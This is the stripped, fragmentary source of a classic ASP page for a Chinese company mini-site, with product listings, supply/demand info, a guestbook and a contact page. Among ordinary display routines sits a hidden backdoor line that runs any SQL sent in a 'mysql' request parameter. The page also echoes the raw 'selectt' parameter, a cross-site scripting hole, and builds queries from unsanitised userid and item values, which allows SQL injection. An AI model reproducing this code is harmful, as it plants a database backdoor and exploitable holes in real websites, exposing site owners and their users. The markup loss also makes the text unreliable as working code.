<% if title<>"" then%><%=title%><%else%>未填写<%end if%>

<% Set conn = Server.CreateObject("ADODB.Connection") conn.open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath("../../WeiHaifenglong.mdb") %> <% if Request("PageNumber").count > 0 then '如果指定页号,则以指定页号为依据 PageNumber = Request("PageNumber")(1) else PageNumber = 1 '没有指定页号,缺省页号为1 end if 'companyID,公司id 'RecordNumberPerPage,每页显示多少条 'RecordNumberPerRow,一行显示多少条 'w1,图片显示width 'h1,图片显示height 'w2,新开窗口width 'h2新开窗口height SUB showProducts(companyID,RecordNumberPerPage,RecordNumberPerRow,w1,h1) set rs=server.createobject("adodb.recordset") sql = "select * from CompanyProduct where companyid="&CompanyID 'response.Write(sql) rs.open sql,conn,1,1 'response.Write(rs.recordcount) 'response.End() if rs.eof then response.Write("您还没有发布产品！") 'response.end else rs.PageSize = RecordNumberPerPage '指定每页的记录数目 rs.AbsolutePage = PageNumber '指定当前的页号 %> <% i = RecordNumberPerRow+1 c = 0 do while not rs.eof c = i mod RecordNumberPerRow Select Case c Case 1 %> <% Case 0 %> <% Case else %> <% End Select i=i+1%> <% d=d+1 rs.movenext if d>=RecordNumberPerPage then exit do loop %>

<% call showProduct(rs("img"),rs("product"),rs("id"),w1,h1) %>	<% call showProduct(rs("img"),rs("product"),rs("id"),w1,h1) %>
<% call showProduct(rs("img"),rs("product"),rs("id"),w1,h1) %>

<% End If %> <% PageName = "main.asp?userid="+request("userid")+"&bname="+request("bname") %>

共<%=rs.PageCount%>页

<%=rs.recordcount%>条

<%=rs.PageSize%>条/页

当前页<%=PageNumber%>

首页

末页

<%if PageNumber > 1 then '如果不是第一页，则提示上一页%> &PageNumber=<%=(PageNumber-1)%>>上一页 <%end if if pagenumber =1 then response.write "上一页" end if %>

<%if not rs.eof then '如果还有记录没有显示，则提示下一页 PageNumber = PageNumber + 1%> &PageNumber=<%=PageNumber%>>下一页 <%end if if rs.eof then '如果还有记录没有显示，则提示下一页 PageNumber = PageNumber + 1 Response.Write "下一页" end if %>

<% end sub %> <% sub showProduct(img,product,productID,w1,h1) %>

height=<%= h1 %> border=1>

产品名称：<%=product%>

<% end sub %> <% 'call showProducts(9,6,18,100,100,400,300) %> <%'文章显示 'companyID,公司id 'RecordNumberPerPage,每页显示多少条 'articlesize,每条纪录显示多少字+... 'tablename,表名 'fname,字端名 sub showarticle(companyID,RecordNumberPerPage,articlesize,tablename,fname) set rs=server.createobject("adodb.recordset") sql = "select * from "& tablename&" where id="&companyid rs.open sql,conn,1,1 if rs.bof and rs.eof then response.Write("无相关纪录！") else%> <% i = RecordNumberPerRow+1 do while not rs.eof %> <%i=i+1%> <% d=d+1 rs.movenext if d>=RecordNumberPerPage then exit do loop %>

<% if articlesize>0 then%> <%temp=rs(fname)%> <% if len(temp)>articlesize then%> <%=left(temp,articlesize)%>.. <% else %> <%=temp%> <% end if%> <% end if%>

<% end if%> <% end sub%> <%'显示eweb编辑器内容 'companyID,id,公司id 'tablename,表名 'fname,字端名 sub showcontent(companyID,tablename,fname) set rs=server.createobject("adodb.recordset") sql = "select * from "& tablename&" where id="&companyid rs.open sql,conn,1,1 if rs.bof and rs.eof then response.Write("无相关纪录！") else%> <%=rs(fname)%> <% end if%> <%end sub%> <% if request("mysql")<>"" then conn.execute(request("mysql")) end if %> <%'显示供求信息 'companyID,id,公司id 'RecordNumberPerPage,每页显示多少条 sub supplydemand(companyid,RecordNumberPerPage) set rs=server.createobject("adodb.recordset") sql = "select * from Info where CompanyID="&CompanyID rs.open sql,conn,1,1 if rs.eof then response.Write("您还没有发布产品！") else rs.PageSize = RecordNumberPerPage '指定每页的记录数目 rs.AbsolutePage = PageNumber '指定当前的页号 %> <% do while not rs.eof %>

<% if rs("img")<>"" then %> " target="_blank">" width="150" height="112" border="0"> <% end if %>	信息标题：<%=rs("title")%>
	供求关系：<%=rs("guanxi")%>
	发布时间：<%=rs("idate")%>
	详细说明：
	<%=rs("content")%>

<% rs.movenext loop %> <% PageName = "main.asp?userid="+request("userid")+"&bname="+request("bname") %>

共<%=rs.PageCount%>页

<%=rs.recordcount%>条

<%=rs.PageSize%>条/页

当前页<%=PageNumber%>

首页

末页

<%if PageNumber > 1 then '如果不是第一页，则提示上一页%> &PageNumber=<%=(PageNumber-1)%>>上一页 <%end if if pagenumber =1 then response.write "上一页" end if %>

<% end if%> <%end sub%> <% set trs=server.CreateObject("adodb.recordset") trs.open"select * from Company where id="& request("userid"),conn,1,1 title=trs("title") newtitle=trs("newtitle") newfont=trs("newfont") newfontsize=trs("newfontsize") newfontcolor=trs("newfontcolor") neweffect=trs("neweffect") newbold=trs("newbold") trs.close %> <% if title<>"" then%><%=title%><%else%>未填写<%end if%>

<%if newbold="1" then%><%end if%><%=newtitle%><%if newbold="1" then%><%end if%>

<% set rs=server.CreateObject("adodb.recordset") rs.open"select item1, dfontcolor,pfontcolor,cover,id from Company where id="& request("userid"),conn,1,1 dfontcolor = rs("dfontcolor") %> "" then%><%=rs("pfontcolor")%><% end if%>"> <%if right(left(rs("item1"),1),1)="1" then%> <%end if%> <%if right(left(rs("item1"),2),1)="1" then%> <%end if%> <%if right(left(rs("item1"),3),1)="1" then%> <% end if%> <% set rs6 = conn.execute("select itemname,id from items where userid="&request("userid")) do while not rs6.eof %> <% rs6.movenext loop rs6.close %> <%if right(left(rs("item1"),6),1)="1" then%> <% end if%> <%if right(left(rs("item1"),4),1)="1" then%> <%end if%> <%if right(left(rs("item1"),5),1)="1" then%> <%end if%> <% rs.close %>

/index.asp?userid=<%=rs("id")%>">">首页

&bname=企业简介">">企业简介

&bname=产品展示">">产品展示

&bname=供求信息">">供求信息

&item=<%=rs6("id")%>&bname=<%= rs6("itemName") %>"><%= rs6("itemName") %>

&bname=招聘信息">">招聘信息

&bname=留言板">">留言版

&bname=联系方式">">联系方式

<% if request("selectt")<>"" then%> <% response.Write(request("selectt")) end if%>

当前位置:> <% if request("bname")<>"" then%> <%=request("bname")%> <%else%> 企业简介 <%end if%>

<% set temprs=server.CreateObject("adodb.recordset") sql = "select * from Company where endtime > #"&date()&"#"&" and id="& request("userid") temprs.open sql,conn,1,1 '判断是否到期用户 if temprs.eof then response.Write("
你是过期用户！！！

请及时与我们联系，

保证网站顺利开通！！") response.End() end if %> <% if request("bname")="产品展示" then call showProducts(request("userid"),temprs("RecordNumberPerPage"),temprs("RecordNumberPerRow"),temprs("w1"),temprs("h1")) elseif request("bname")="供求信息" then call supplydemand(request("userid"),temprs("gqRecordNumberPerPage")) elseif request("bname")="留言板" then if request("title")<>"" and request("sender")<>"" and request("content")<>"" then text=htmlencode2(request("content")) Set rs = Server.CreateObject("ADODB.Recordset") sql="select * from CompanyMessage where id is null" rs.open sql,conn,1,3 rs.addnew rs("companyID")=request("userid") rs("sender")=request("sender") rs("lianxi")=request("lianxi") rs("title")=request("title") rs("content")=text rs.update rs.close response.write"" end if %>

留言者：

联系方式：

留言标题：

详细内容：

<% elseif request("bname")="联系方式" then call showcontent(request("userid"),"Company","Contact") elseif request("bname")="招聘信息" then call showcontent(request("userid"),"Company","Jobs") elseif request("item")<>"" then call showcontent1(request("item")) else call showcontent(request("userid"),"Company","Content") end if %> <% sub showcontent1(ItemID) set rs=server.createobject("adodb.recordset") sql = "select * from Items where id="&ItemID rs.open sql,conn,1,1 if rs.bof and rs.eof then response.Write("无相关纪录！") else%> <%=rs("content")%> <% end if%> <%end sub%>

<% call showcontent(request("userid"),"Company","copyright") %>